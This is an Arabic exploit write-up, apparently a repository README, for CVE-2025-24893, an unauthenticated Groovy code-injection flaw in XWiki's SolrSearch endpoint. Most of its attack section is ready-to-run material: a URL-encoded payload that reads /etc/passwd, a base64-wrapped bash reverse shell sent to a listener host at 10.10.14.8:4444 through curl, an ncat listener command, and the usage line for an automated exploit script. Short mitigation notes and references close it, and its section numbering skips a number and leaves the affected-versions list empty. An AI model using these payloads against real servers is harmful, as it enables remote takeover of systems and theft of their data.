CVE-2025-24893 – تنفيذ تعليمات برمجية عن بُعد غير موثّق في XWiki

0 جدول المحتويات

1. الملخص
2. تفاصيل الثغرة
3. الإصدارات المتأثرة
4. إثبات المفهوم
   • 4.1 بناء الحمولة
   • 4.2 الاستغلال اليدوي
   • 4.3 استغلال آلي بلغة بايثون
5. التخفيف
6. الإسنادات والمراجع

1 الملخص

• CVE: 2025-24893
• المكوّن: ماكرو SolrSearch (واجهة XWiki)
• الخطورة: 9.8 / حرجة (CVSS 3.1)
• متجه الهجوم: طلب HTTP GET غير موثّق
• الأثر: تنفيذ تعليمات Groovy عشوائية → تنفيذ أوامر على مستوى النظام (بصلاحيات مستخدم Jetty/Tomcat)

النقطة /xwiki/bin/get/Main/SolrSearch تدمج المدخلات غير الموثوقة text= مباشرة في قالب Freemarker.
عند إغلاق القالب مبكراً وفتح كتلة {{groovy}} … {{/groovy}} جديدة، يمكن للمهاجم تنفيذ تعليمات Groovy عشوائية دون الحاجة إلى مصادقة.

2 تفاصيل الثغرة

GET /xwiki/bin/get/Main/SolrSearch?media=rss\&text=<<<USER-DATA>>>  HTTP/1.1

من المفترض أن يقوم SolrSearch بتضمين النص المُرسَل كمحتوى عادي، لكن معالج الماكرو يفشل في إفلات }}}، لذا يحدث الآتي:

1. }}} يغلق كتلة Freemarker الحالية.
2. يفتح المهاجم ماكرواً جديداً:

   {{async async=false}}{{groovy}} … {{/groovy}}{{/async}}

• async=false يُجبر التنفيذ على أن يكون متزامناً (يعمل حتى للضيوف).

3. يتم تنفيذ Groovy بصلاحيات عملية JVM الخاصة بـ XWiki.

نموذج PoC بسيط يطبع محتوى /etc/passwd:

}}}{{async async=false}}{{groovy}}println("cat /etc/passwd".execute().text){{/groovy}}{{/async}}

الإصدار المُشفّر URL (المسافات → %20، الأقواس → %7B/%7D، إلخ):

%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d

3 الإصدارات المتأثرة

(المصدر: إرشاد OffSec وXWiki SEC-S 2025-02)

5 إثبات المفهوم

5.1 بناء الحمولة

RHOST="editor.htb:8080"
LHOST="10.10.14.8"
LPORT=4444

# 1.   أمر واحد لشل عكسي
SHELL="bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

# 2.   Base64 (سطر واحد)
B64=$(echo -n "$SHELL" | base64 -w0)

# 3.   لفها في ماكرو Groovy
RAW='}}}{{async async=false}}{{groovy}}"bash -c {echo,'$B64'}|{base64,-d}|{bash,-i}".execute(){{/groovy}}{{/async}}'

# 4.   تشفير URL
PAYLOAD=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" "$RAW")

5.2 الاستغلال اليدوي

# بدء المتنصت
sudo ncat -lvnp 4444

# تشغيل الاستغلال
curl "http://$RHOST/xwiki/bin/get/Main/SolrSearch?media=rss&text=${PAYLOAD}"

5.3 الاستغلال الآلي

xwiki_solr_rce.py موجود في exploit/ (انظر كتلة الكود أدناه).

python CVE-2025-24893.py -u <TARGET URL> -l <IP> -p <PORT>

حيث

<TARGET URL> - الرابط شامل http:// أو https://

(مرّر -c "id" لتنفيذ أمر عشوائي بدلاً من الشل)

6 التخفيف

• الترقية إلى الإصدار 15.10.11 / 14.10.17 أو أحدث
• حل مؤقت: تعطيل الماكرو

# /etc/xwiki/xwiki.properties
solr.search.enabled = false

7 الإسنادات والمراجع

• بحث OffSec: “Unauth RCE in XWiki” – 20 فبراير 2025
• مدخل NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-24893
• Exploit-DB #52136

البحث وإثبات المفهوم: DeX1d

إخلاء مسؤولية: للاستخدام التعليمي فقط. تشغيل هذا ضد أنظمة لا تملكها غير قانوني.